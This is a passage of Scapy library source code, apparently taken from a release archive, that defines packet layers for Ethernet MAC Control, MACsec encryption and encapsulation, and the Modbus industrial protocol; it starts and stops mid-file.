total size of all under layers :return: number of bytes """ under_layer = self.underlayer under_layers_size = 0 while under_layer and isinstance(under_layer, Dot1Q): under_layers_size += 4 under_layer = under_layer.underlayer if under_layer and isinstance(under_layer, Ether): # ether header len + FCS len under_layers_size += 14 + 4 return under_layers_size def post_build(self, pkt, pay): """ add padding to the frame if required. note that padding is only added if pay is None/empty. this allows us to add # noqa: E501 any payload after the MACControl* PDU if needed (piggybacking). """ if not pay: under_layers_size = self._get_underlayers_size() frame_size = (len(pkt) + under_layers_size) if frame_size < 64: return pkt + b'\x00' * (64 - frame_size) return pkt + pay class MACControlInvalidSpeedException(Scapy_Exception): pass class MACControlPause(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_PAUSE), ShortField("pause_time", 0), ] def get_pause_time(self, speed=ETHER_SPEED_MBIT_1000): """ get pause time for given link speed in seconds :param speed: select link speed to get the pause time for, must be ETHER_SPEED_MBIT_[10,100,1000] # noqa: E501 :return: pause time in seconds :raises MACControlInvalidSpeedException: on invalid speed selector """ try: return self.pause_time * { ETHER_SPEED_MBIT_10: (0.0000001 * 512), ETHER_SPEED_MBIT_100: (0.00000001 * 512), ETHER_SPEED_MBIT_1000: (0.000000001 * 512 * 2) }[speed] except KeyError: raise MACControlInvalidSpeedException('Invalid speed selector given. ' # noqa: E501 'Must be one of ETHER_SPEED_MBIT_[10,100,1000]') # noqa: E501 class MACControlGate(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_GATE), IntField("timestamp", 0) ] class MACControlReport(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REPORT), IntField("timestamp", 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ByteField('pending_grants', 0) ] class MACControlRegisterReq(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REGISTER_REQ), IntField("timestamp", 0), ShortField('assigned_port', 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ShortField('sync_time', 0), ByteField('echoed_pending_grants', 0) ] class MACControlRegister(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REGISTER), IntField("timestamp", 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ShortField('echoed_assigned_port', 0), ShortField('echoed_sync_time', 0) ] class MACControlRegisterAck(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REGISTER_ACK), IntField("timestamp", 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ShortField('echoed_assigned_port', 0), ShortField('echoed_sync_time', 0) ] class MACControlClassBasedFlowControl(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL), ByteField("_reserved", 0), BitField('c7_enabled', 0, 1), BitField('c6_enabled', 0, 1), BitField('c5_enabled', 0, 1), BitField('c4_enabled', 0, 1), BitField('c3_enabled', 0, 1), BitField('c2_enabled', 0, 1), BitField('c1_enabled', 0, 1), BitField('c0_enabled', 0, 1), ShortField('c0_pause_time', 0), ShortField('c1_pause_time', 0), ShortField('c2_pause_time', 0), ShortField('c3_pause_time', 0), ShortField('c4_pause_time', 0), ShortField('c5_pause_time', 0), ShortField('c6_pause_time', 0), ShortField('c7_pause_time', 0) ] MAC_CTRL_CLASSES = { MACControl.OP_CODE_PAUSE: MACControlPause, MACControl.OP_CODE_GATE: MACControlGate, MACControl.OP_CODE_REPORT: MACControlReport, MACControl.OP_CODE_REGISTER_REQ: MACControlRegisterReq, MACControl.OP_CODE_REGISTER: MACControlRegister, MACControl.OP_CODE_REGISTER_ACK: MACControlRegisterAck, MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL: MACControlClassBasedFlowControl # noqa: E501 } bind_layers(Ether, MACControl, type=MAC_CONTROL_ETHER_TYPE) bind_layers(Dot1Q, MACControl, type=MAC_CONTROL_ETHER_TYPE) scapy-2.4.4/scapy/contrib/macsec.py000077500000000000000000000207071372370053500172420ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Sabrina Dubroca # This program is published under a GPLv2 license # scapy.contrib.description = 802.1AE - IEEE MAC Security standard (MACsec) # scapy.contrib.status = loads """ Classes and functions for MACsec. """ from __future__ import absolute_import from __future__ import print_function import struct import copy from scapy.config import conf from scapy.fields import BitField, ConditionalField, IntField, PacketField, \ XShortEnumField from scapy.packet import Packet, Raw, bind_layers from scapy.layers.l2 import Ether, Dot1AD, Dot1Q from scapy.layers.eap import MACsecSCI from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.compat import raw from scapy.data import ETH_P_MACSEC, ETHER_TYPES, ETH_P_IP, ETH_P_IPV6 from scapy.error import log_loading import scapy.modules.six as six if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes, ) else: log_loading.info("Can't import python-cryptography v1.7+. " "Disabled MACsec encryption/authentication.") NOSCI_LEN = 14 + 6 SCI_LEN = 8 DEFAULT_ICV_LEN = 16 class MACsecSA(object): """Representation of a MACsec Secure Association Provides encapsulation, decapsulation, encryption, and decryption of MACsec frames """ def __init__(self, sci, an, pn, key, icvlen, encrypt, send_sci, xpn_en=False, ssci=None, salt=None): # noqa: E501 if isinstance(sci, six.integer_types): self.sci = struct.pack('!Q', sci) elif isinstance(sci, bytes): self.sci = sci else: raise TypeError("SCI must be either bytes or int") self.an = an self.pn = pn self.key = key self.icvlen = icvlen self.do_encrypt = encrypt self.send_sci = send_sci self.xpn_en = xpn_en if self.xpn_en: # Get SSCI (32 bits) if isinstance(ssci, six.integer_types): self.ssci = struct.pack('!L', ssci) elif isinstance(ssci, bytes): self.ssci = ssci else: raise TypeError("SSCI must be either bytes or int") # Get Salt (96 bits, only bytes allowed) if isinstance(salt, bytes): self.salt = salt else: raise TypeError("Salt must be bytes") def make_iv(self, pkt): """generate an IV for the packet""" if self.xpn_en: tmp_pn = (self.pn & 0xFFFFFFFF00000000) | (pkt[MACsec].pn & 0xFFFFFFFF) # noqa: E501 tmp_iv = self.ssci + struct.pack('!Q', tmp_pn) return bytes(bytearray([a ^ b for a, b in zip(bytearray(tmp_iv), bytearray(self.salt))])) # noqa: E501 else: return self.sci + struct.pack('!I', pkt[MACsec].pn) @staticmethod def split_pkt(pkt, assoclen, icvlen=0): """ split the packet into associated data, plaintext or ciphertext, and optional ICV """ data = raw(pkt) assoc = data[:assoclen] if icvlen: icv = data[-icvlen:] enc = data[assoclen:-icvlen] else: icv = b'' enc = data[assoclen:] return assoc, enc, icv def e_bit(self): """returns the value of the E bit for packets sent through this SA""" return self.do_encrypt def c_bit(self): """returns the value of the C bit for packets sent through this SA""" return self.do_encrypt or self.icvlen != DEFAULT_ICV_LEN @staticmethod def shortlen(pkt): """determine shortlen for a raw packet (not encapsulated yet)""" datalen = len(pkt) - 2 * 6 if datalen < 48: return datalen return 0 def encap(self, pkt): """encapsulate a frame using this Secure Association""" if pkt.name != Ether().name: raise TypeError('cannot encapsulate packet in MACsec, must be Ethernet') # noqa: E501 hdr = copy.deepcopy(pkt) payload = hdr.payload del hdr.payload tag = MACsec(sci=self.sci, an=self.an, SC=self.send_sci, E=self.e_bit(), C=self.c_bit(), shortlen=MACsecSA.shortlen(pkt), pn=(self.pn & 0xFFFFFFFF), type=pkt.type) hdr.type = ETH_P_MACSEC return hdr / tag / payload # this doesn't really need to be a method, but for symmetry with # encap(), it is def decap(self, orig_pkt): """decapsulate a MACsec frame""" if orig_pkt.name != Ether().name or orig_pkt.payload.name != MACsec().name: # noqa: E501 raise TypeError('cannot decapsulate MACsec packet, must be Ethernet/MACsec') # noqa: E501 packet = copy.deepcopy(orig_pkt) prev_layer = packet[MACsec].underlayer prev_layer.type = packet[MACsec].type next_layer = packet[MACsec].payload del prev_layer.payload if prev_layer.name == Ether().name: return Ether(raw(prev_layer / next_layer)) return prev_layer / next_layer def encrypt(self, orig_pkt, assoclen=None): """encrypt a MACsec frame for this Secure Association""" hdr = copy.deepcopy(orig_pkt) del hdr[MACsec].payload del hdr[MACsec].type pktlen = len(orig_pkt) if self.send_sci: hdrlen = NOSCI_LEN + SCI_LEN else: hdrlen = NOSCI_LEN if assoclen is None or not self.do_encrypt: if self.do_encrypt: assoclen = hdrlen else: assoclen = pktlen iv = self.make_iv(orig_pkt) assoc, pt, _ = MACsecSA.split_pkt(orig_pkt, assoclen) encryptor = Cipher( algorithms.AES(self.key), modes.GCM(iv), backend=default_backend() ).encryptor() encryptor.authenticate_additional_data(assoc) ct = encryptor.update(pt) + encryptor.finalize() hdr[MACsec].payload = Raw(assoc[hdrlen:assoclen] + ct + encryptor.tag) return hdr def decrypt(self, orig_pkt, assoclen=None): """decrypt a MACsec frame for this Secure Association""" hdr = copy.deepcopy(orig_pkt) del hdr[MACsec].payload pktlen = len(orig_pkt) if self.send_sci: hdrlen = NOSCI_LEN + SCI_LEN else: hdrlen = NOSCI_LEN if assoclen is None or not self.do_encrypt: if self.do_encrypt: assoclen = hdrlen else: assoclen = pktlen - self.icvlen iv = self.make_iv(hdr) assoc, ct, icv = MACsecSA.split_pkt(orig_pkt, assoclen, self.icvlen) decryptor = Cipher( algorithms.AES(self.key), modes.GCM(iv, icv), backend=default_backend() ).decryptor() decryptor.authenticate_additional_data(assoc) pt = assoc[hdrlen:assoclen] pt += decryptor.update(ct) pt += decryptor.finalize() hdr[MACsec].type = struct.unpack('!H', pt[0:2])[0] hdr[MACsec].payload = Raw(pt[2:]) return hdr class MACsec(Packet): """representation of one MACsec frame""" name = '802.1AE' fields_desc = [BitField('Ver', 0, 1), BitField('ES', 0, 1), BitField('SC', 0, 1), BitField('SCB', 0, 1), BitField('E', 0, 1), BitField('C', 0, 1), BitField('an', 0, 2), BitField('reserved', 0, 2), BitField('shortlen', 0, 6), IntField("pn", 1), ConditionalField(PacketField("sci", None, MACsecSCI), lambda pkt: pkt.SC), # noqa: E501 ConditionalField(XShortEnumField("type", None, ETHER_TYPES), lambda pkt: pkt.type is not None)] def mysummary(self): summary = self.sprintf("an=%MACsec.an%, pn=%MACsec.pn%") if self.SC: summary += self.sprintf(", sci=%MACsec.sci%") if self.type is not None: summary += self.sprintf(", %MACsec.type%") return summary bind_layers(MACsec, IP, type=ETH_P_IP) bind_layers(MACsec, IPv6, type=ETH_P_IPV6) bind_layers(Dot1AD, MACsec, type=ETH_P_MACSEC) bind_layers(Dot1Q, MACsec, type=ETH_P_MACSEC) bind_layers(Ether, MACsec, type=ETH_P_MACSEC) scapy-2.4.4/scapy/contrib/modbus.py000066400000000000000000001045771372370053500173050ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = ModBus Protocol # scapy.contrib.status = loads # Copyright (C) 2017 Arthur Gervais, Ken LE PRADO, Sébastien Mainand, # Thomas Aurel import struct from scapy.packet import Packet, bind_layers from scapy.fields import XByteField, XShortField, StrLenField, ByteEnumField, \ BitFieldLenField, ByteField, ConditionalField, EnumField, FieldListField, \ ShortField, StrFixedLenField, XShortEnumField from scapy.layers.inet import TCP from scapy.utils import orb from scapy.config import conf from scapy.volatile import VolatileValue _modbus_exceptions = {1: "Illegal Function Code", 2: "Illegal Data Address", 3: "Illegal Data Value", 4: "Server Device Failure", 5: "Acknowledge", 6: "Server Device Busy", 8: "Memory Parity Error", 10: "Gateway Path Unavailable", 11: "Gateway Target Device Failed to Respond"} class _ModbusPDUNoPayload(Packet): def extract_padding(self, s): return b"", None class ModbusPDU01ReadCoilsRequest(_ModbusPDUNoPayload): name = "Read Coils Request" fields_desc = [XByteField("funcCode", 0x01), XShortField("startAddr", 0x0000), # 0x0000 to 0xFFFF XShortField("quantity", 0x0001)] class ModbusPDU01ReadCoilsResponse(_ModbusPDUNoPayload): name = "Read Coils Response" fields_desc = [XByteField("funcCode", 0x01), BitFieldLenField("byteCount", None, 8, count_of="coilStatus"), FieldListField("coilStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU01ReadCoilsError(_ModbusPDUNoPayload): name = "Read Coils Exception" fields_desc = [XByteField("funcCode", 0x81), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU02ReadDiscreteInputsRequest(_ModbusPDUNoPayload): name = "Read Discrete Inputs" fields_desc = [XByteField("funcCode", 0x02), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] class ModbusPDU02ReadDiscreteInputsResponse(Packet): """ inputStatus: result is represented as bytes, padded with 0 to have a integer number of bytes. The field does not parse this result and present the bytes directly """ name = "Read Discrete Inputs Response" fields_desc = [XByteField("funcCode", 0x02), BitFieldLenField("byteCount", None, 8, count_of="inputStatus"), FieldListField("inputStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU02ReadDiscreteInputsError(Packet): name = "Read Discrete Inputs Exception" fields_desc = [XByteField("funcCode", 0x82), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU03ReadHoldingRegistersRequest(_ModbusPDUNoPayload): name = "Read Holding Registers" fields_desc = [XByteField("funcCode", 0x03), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] class ModbusPDU03ReadHoldingRegistersResponse(Packet): name = "Read Holding Registers Response" fields_desc = [XByteField("funcCode", 0x03), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x * 2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU03ReadHoldingRegistersError(Packet): name = "Read Holding Registers Exception" fields_desc = [XByteField("funcCode", 0x83), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU04ReadInputRegistersRequest(_ModbusPDUNoPayload): name = "Read Input Registers" fields_desc = [XByteField("funcCode", 0x04), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] class ModbusPDU04ReadInputRegistersResponse(Packet): name = "Read Input Registers Response" fields_desc = [XByteField("funcCode", 0x04), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x * 2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU04ReadInputRegistersError(Packet): name = "Read Input Registers Exception" fields_desc = [XByteField("funcCode", 0x84), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU05WriteSingleCoilRequest(Packet): name = "Write Single Coil" fields_desc = [XByteField("funcCode", 0x05), # from 0x0000 to 0xFFFF XShortField("outputAddr", 0x0000), # 0x0000: Off, 0xFF00: On XShortField("outputValue", 0x0000)] class ModbusPDU05WriteSingleCoilResponse(Packet): # The answer is the same as the request if successful name = "Write Single Coil" fields_desc = [XByteField("funcCode", 0x05), # from 0x0000 to 0xFFFF XShortField("outputAddr", 0x0000), # 0x0000 == Off, 0xFF00 == On XShortField("outputValue", 0x0000)] class ModbusPDU05WriteSingleCoilError(Packet): name = "Write Single Coil Exception" fields_desc = [XByteField("funcCode", 0x85), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU06WriteSingleRegisterRequest(_ModbusPDUNoPayload): name = "Write Single Register" fields_desc = [XByteField("funcCode", 0x06), XShortField("registerAddr", 0x0000), XShortField("registerValue", 0x0000)] class ModbusPDU06WriteSingleRegisterResponse(Packet): name = "Write Single Register Response" fields_desc = [XByteField("funcCode", 0x06), XShortField("registerAddr", 0x0000), XShortField("registerValue", 0x0000)] class ModbusPDU06WriteSingleRegisterError(Packet): name = "Write Single Register Exception" fields_desc = [XByteField("funcCode", 0x86), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU07ReadExceptionStatusRequest(_ModbusPDUNoPayload): name = "Read Exception Status" fields_desc = [XByteField("funcCode", 0x07)] class ModbusPDU07ReadExceptionStatusResponse(Packet): name = "Read Exception Status Response" fields_desc = [XByteField("funcCode", 0x07), XByteField("startAddr", 0x00)] class ModbusPDU07ReadExceptionStatusError(Packet): name = "Read Exception Status Exception" fields_desc = [XByteField("funcCode", 0x87), ByteEnumField("exceptCode", 1, _modbus_exceptions)] _diagnostics_sub_function = { 0x0000: "Return Query Data", 0x0001: "Restart Communications Option", 0x0002: "Return Diagnostic Register", 0x0003: "Change ASCII Input Delimiter", 0x0004: "Force Listen Only Mode", 0x000A: "Clear Counters and Diagnostic Register", 0x000B: "Return Bus Message Count", 0x000C: "Return Bus Communication Error Count", 0x000D: "Return Bus Exception Error Count", 0x000E: "Return Slave Message Count", 0x000F: "Return Slave No Response Count", 0x0010: "Return Slave NAK Count", 0x0011: "Return Slave Busy Count", 0x0012: "Return Bus Character Overrun Count", 0x0014: "Clear Overrun Counter and Flag" } class ModbusPDU08DiagnosticsRequest(_ModbusPDUNoPayload): name = "Diagnostics" fields_desc = [XByteField("funcCode", 0x08), XShortEnumField("subFunc", 0x0000, _diagnostics_sub_function), FieldListField("data", [0x0000], XShortField("", 0x0000))] class ModbusPDU08DiagnosticsResponse(_ModbusPDUNoPayload): name = "Diagnostics Response" fields_desc = [XByteField("funcCode", 0x08), XShortEnumField("subFunc", 0x0000, _diagnostics_sub_function), FieldListField("data", [0x0000], XShortField("", 0x0000))] class ModbusPDU08DiagnosticsError(_ModbusPDUNoPayload): name = "Diagnostics Exception" fields_desc = [XByteField("funcCode", 0x88), ByteEnumField("exceptionCode", 1, _modbus_exceptions)] class ModbusPDU0BGetCommEventCounterRequest(_ModbusPDUNoPayload): name = "Get Comm Event Counter" fields_desc = [XByteField("funcCode", 0x0B)] class ModbusPDU0BGetCommEventCounterResponse(_ModbusPDUNoPayload): name = "Get Comm Event Counter Response" fields_desc = [XByteField("funcCode", 0x0B), XShortField("status", 0x0000), XShortField("eventCount", 0xFFFF)] class ModbusPDU0BGetCommEventCounterError(_ModbusPDUNoPayload): name = "Get Comm Event Counter Exception" fields_desc = [XByteField("funcCode", 0x8B), ByteEnumField("exceptionCode", 1, _modbus_exceptions)] class ModbusPDU0CGetCommEventLogRequest(_ModbusPDUNoPayload): name = "Get Comm Event Log" fields_desc = [XByteField("funcCode", 0x0C)] class ModbusPDU0CGetCommEventLogResponse(_ModbusPDUNoPayload): name = "Get Comm Event Log Response" fields_desc = [XByteField("funcCode", 0x0C), ByteField("byteCount", 8), XShortField("status", 0x0000), XShortField("eventCount", 0x0108), XShortField("messageCount", 0x0121), FieldListField("event", [0x20, 0x00], XByteField("", 0x00))] class ModbusPDU0CGetCommEventLogError(_ModbusPDUNoPayload): name = "Get Comm Event Log Exception" fields_desc = [XByteField("funcCode", 0x8C), XByteField("exceptionCode", 1)] class ModbusPDU0FWriteMultipleCoilsRequest(Packet): name = "Write Multiple Coils" fields_desc = [XByteField("funcCode", 0x0F), XShortField("startAddr", 0x0000), XShortField("quantityOutput", 0x0001), BitFieldLenField("byteCount", None, 8, count_of="outputsValue"), FieldListField("outputsValue", [0x00], XByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU0FWriteMultipleCoilsResponse(Packet): name = "Write Multiple Coils Response" fields_desc = [XByteField("funcCode", 0x0F), XShortField("startAddr", 0x0000), XShortField("quantityOutput", 0x0001)] class ModbusPDU0FWriteMultipleCoilsError(Packet): name = "Write Multiple Coils Exception" fields_desc = [XByteField("funcCode", 0x8F), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU10WriteMultipleRegistersRequest(Packet): name = "Write Multiple Registers" fields_desc = [XByteField("funcCode", 0x10), XShortField("startAddr", 0x0000), BitFieldLenField("quantityRegisters", None, 16, count_of="outputsValue"), BitFieldLenField("byteCount", None, 8, count_of="outputsValue", adjust=lambda pkt, x: x * 2), FieldListField("outputsValue", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU10WriteMultipleRegistersResponse(Packet): name = "Write Multiple Registers Response" fields_desc = [XByteField("funcCode", 0x10), XShortField("startAddr", 0x0000), XShortField("quantityRegisters", 0x0001)] class ModbusPDU10WriteMultipleRegistersError(Packet): name = "Write Multiple Registers Exception" fields_desc = [XByteField("funcCode", 0x90), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU11ReportSlaveIdRequest(_ModbusPDUNoPayload): name = "Report Slave Id" fields_desc = [XByteField("funcCode", 0x11)] class ModbusPDU11ReportSlaveIdResponse(Packet): name = "Report Slave Id Response" fields_desc = [ XByteField("funcCode", 0x11), BitFieldLenField("byteCount", None, 8, length_of="slaveId"), ConditionalField(StrLenField("slaveId", "", length_from=lambda pkt: pkt.byteCount), lambda pkt: pkt.byteCount > 0), ConditionalField(XByteField("runIdicatorStatus", 0x00), lambda pkt: pkt.byteCount > 0), ] class ModbusPDU11ReportSlaveIdError(Packet): name = "Report Slave Id Exception" fields_desc = [XByteField("funcCode", 0x91), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusReadFileSubRequest(Packet): name = "Sub-request of Read File Record" fields_desc = [ByteField("refType", 0x06), ShortField("fileNumber", 0x0001), ShortField("recordNumber", 0x0000), ShortField("recordLength", 0x0001)] def guess_payload_class(self, payload): return ModbusReadFileSubRequest class ModbusPDU14ReadFileRecordRequest(Packet): name = "Read File Record" fields_desc = [XByteField("funcCode", 0x14), ByteField("byteCount", None)] def guess_payload_class(self, payload): if self.byteCount > 0: return ModbusReadFileSubRequest else: return Packet.guess_payload_class(self, payload) def post_build(self, p, pay): if self.byteCount is None: tmp_len = len(pay) p = p[:1] + struct.pack("!B", tmp_len) + p[3:] return p + pay class ModbusReadFileSubResponse(Packet): name = "Sub-response" fields_desc = [ BitFieldLenField("respLength", None, 8, count_of="recData", adjust=lambda pkt, p: p * 2 + 1), ByteField("refType", 0x06), FieldListField("recData", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: (pkt.respLength - 1) // 2), ] def guess_payload_class(self, payload): return ModbusReadFileSubResponse class ModbusPDU14ReadFileRecordResponse(Packet): name = "Read File Record Response" fields_desc = [XByteField("funcCode", 0x14), ByteField("dataLength", None)] def post_build(self, p, pay): if self.dataLength is None: tmp_len = len(pay) p = p[:1] + struct.pack("!B", tmp_len) + p[3:] return p + pay def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusReadFileSubResponse else: return Packet.guess_payload_class(self, payload) class ModbusPDU14ReadFileRecordError(Packet): name = "Read File Record Exception" fields_desc = [XByteField("funcCode", 0x94), ByteEnumField("exceptCode", 1, _modbus_exceptions)] # 0x15 : Write File Record class ModbusWriteFileSubRequest(Packet): name = "Sub request of Write File Record" fields_desc = [ ByteField("refType", 0x06), ShortField("fileNumber", 0x0001), ShortField("recordNumber", 0x0000), BitFieldLenField("recordLength", None, 16, length_of="recordData", adjust=lambda pkt, p: p // 2), FieldListField("recordData", [0x0000], ShortField("", 0x0000), length_from=lambda pkt: pkt.recordLength * 2), ] def guess_payload_class(self, payload): if payload: return ModbusWriteFileSubRequest class ModbusPDU15WriteFileRecordRequest(Packet): name = "Write File Record" fields_desc = [XByteField("funcCode", 0x15), ByteField("dataLength", None)] def post_build(self, p, pay): if self.dataLength is None: tmp_len = len(pay) p = p[:1] + struct.pack("!B", tmp_len) + p[3:] return p + pay def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusWriteFileSubRequest else: return Packet.guess_payload_class(self, payload) class ModbusWriteFileSubResponse(ModbusWriteFileSubRequest): name = "Sub response of Write File Record" def guess_payload_class(self, payload): if payload: return ModbusWriteFileSubResponse class ModbusPDU15WriteFileRecordResponse(ModbusPDU15WriteFileRecordRequest): name = "Write File Record Response" def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusWriteFileSubResponse else: return Packet.guess_payload_class(self, payload) class ModbusPDU15WriteFileRecordError(Packet): name = "Write File Record Exception" fields_desc = [XByteField("funcCode", 0x95), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU16MaskWriteRegisterRequest(Packet): # and/or to 0xFFFF/0x0000 so that nothing is changed in memory name = "Mask Write Register" fields_desc = [XByteField("funcCode", 0x16), XShortField("refAddr", 0x0000), XShortField("andMask", 0xffff), XShortField("orMask", 0x0000)] class ModbusPDU16MaskWriteRegisterResponse(Packet): name = "Mask Write Register Response" fields_desc = [XByteField("funcCode", 0x16), XShortField("refAddr", 0x0000), XShortField("andMask", 0xffff), XShortField("orMask", 0x0000)] class ModbusPDU16MaskWriteRegisterError(Packet): name = "Mask Write Register Exception" fields_desc = [XByteField("funcCode", 0x96), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU17ReadWriteMultipleRegistersRequest(Packet): name = "Read Write Multiple Registers" fields_desc = [XByteField("funcCode", 0x17), XShortField("readStartingAddr", 0x0000), XShortField("readQuantityRegisters", 0x0001), XShortField("writeStartingAddr", 0x0000), BitFieldLenField("writeQuantityRegisters", None, 16, count_of="writeRegistersValue"), BitFieldLenField("byteCount", None, 8, count_of="writeRegistersValue", adjust=lambda pkt, x: x * 2), FieldListField("writeRegistersValue", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU17ReadWriteMultipleRegistersResponse(Packet): name = "Read Write Multiple Registers Response" fields_desc = [XByteField("funcCode", 0x17), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x * 2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU17ReadWriteMultipleRegistersError(Packet): name = "Read Write Multiple Exception" fields_desc = [XByteField("funcCode", 0x97), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU18ReadFIFOQueueRequest(Packet): name = "Read FIFO Queue" fields_desc = [XByteField("funcCode", 0x18), XShortField("FIFOPointerAddr", 0x0000)] class ModbusPDU18ReadFIFOQueueResponse(Packet): name = "Read FIFO Queue Response" fields_desc = [XByteField("funcCode", 0x18), # TODO: ByteCount must includes size of FIFOCount BitFieldLenField("byteCount", None, 16, count_of="FIFOVal", adjust=lambda pkt, p: p * 2 + 2), BitFieldLenField("FIFOCount", None, 16, count_of="FIFOVal"), FieldListField("FIFOVal", [], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU18ReadFIFOQueueError(Packet): name = "Read FIFO Queue Exception" fields_desc = [XByteField("funcCode", 0x98), ByteEnumField("exceptCode", 1, _modbus_exceptions)] # TODO: not implemented, out of the main specification # class ModbusPDU2B0DCANOpenGeneralReferenceRequest(Packet): # name = "CANopen General Reference Request" # fields_desc = [] # # # class ModbusPDU2B0DCANOpenGeneralReferenceResponse(Packet): # name = "CANopen General Reference Response" # fields_desc = [] # # # class ModbusPDU2B0DCANOpenGeneralReferenceError(Packet): # name = "CANopen General Reference Error" # fields_desc = [] # 0x2B/0x0E - Read Device Identification values _read_device_id_codes = {1: "Basic", 2: "Regular", 3: "Extended", 4: "Specific"} # 0x00->0x02: mandatory # 0x03->0x06: optional # 0x07->0x7F: Reserved (optional) # 0x80->0xFF: product dependent private objects (optional) _read_device_id_object_id = {0x00: "VendorName", 0x01: "ProductCode", 0x02: "MajorMinorRevision", 0x03: "VendorUrl", 0x04: "ProductName", 0x05: "ModelName", 0x06: "UserApplicationName"} _read_device_id_conformity_lvl = { 0x01: "Basic Identification (stream only)", 0x02: "Regular Identification (stream only)", 0x03: "Extended Identification (stream only)", 0x81: "Basic Identification (stream and individual access)", 0x82: "Regular Identification (stream and individual access)", 0x83: "Extended Identification (stream and individual access)", } _read_device_id_more_follow = {0x00: "No", 0x01: "Yes"} class ModbusPDU2B0EReadDeviceIdentificationRequest(Packet): name = "Read Device Identification" fields_desc = [XByteField("funcCode", 0x2B), XByteField("MEIType", 0x0E), ByteEnumField("readCode", 1, _read_device_id_codes), ByteEnumField("objectId", 0x00, _read_device_id_object_id)] class ModbusPDU2B0EReadDeviceIdentificationResponse(Packet): name = "Read Device Identification" fields_desc = [XByteField("funcCode", 0x2B), XByteField("MEIType", 0x0E), ByteEnumField("readCode", 4, _read_device_id_codes), ByteEnumField("conformityLevel", 0x01, _read_device_id_conformity_lvl), ByteEnumField("more", 0x00, _read_device_id_more_follow), ByteEnumField("nextObjId", 0x00, _read_device_id_object_id), ByteField("objCount", 0x00)] def guess_payload_class(self, payload): if self.objCount > 0: return ModbusObjectId else: return Packet.guess_payload_class(self, payload) class ModbusPDU2B0EReadDeviceIdentificationError(Packet): name = "Read Exception Status Exception" fields_desc = [XByteField("funcCode", 0xAB), ByteEnumField("exceptCode", 1, _modbus_exceptions)] _reserved_funccode_request = { 0x09: '0x09 Unknown Reserved Request', 0x0A: '0x0a Unknown Reserved Request', 0x0D: '0x0d Unknown Reserved Request', 0x0E: '0x0e Unknown Reserved Request', 0x29: '0x29 Unknown Reserved Request', 0x2A: '0x2a Unknown Reserved Request', 0x5A: 'Specific Schneider Electric Request', 0x5B: '0x5b Unknown Reserved Request', 0x7D: '0x7d Unknown Reserved Request', 0x7E: '0x7e Unknown Reserved Request', 0x7F: '0x7f Unknown Reserved Request', } _reserved_funccode_response = { 0x09: '0x09 Unknown Reserved Response', 0x0A: '0x0a Unknown Reserved Response', 0x0D: '0x0d Unknown Reserved Response', 0x0E: '0x0e Unknown Reserved Response', 0x29: '0x29 Unknown Reserved Response', 0x2A: '0x2a Unknown Reserved Response', 0x5A: 'Specific Schneider Electric Response', 0x5B: '0x5b Unknown Reserved Response', 0x7D: '0x7d Unknown Reserved Response', 0x7E: '0x7e 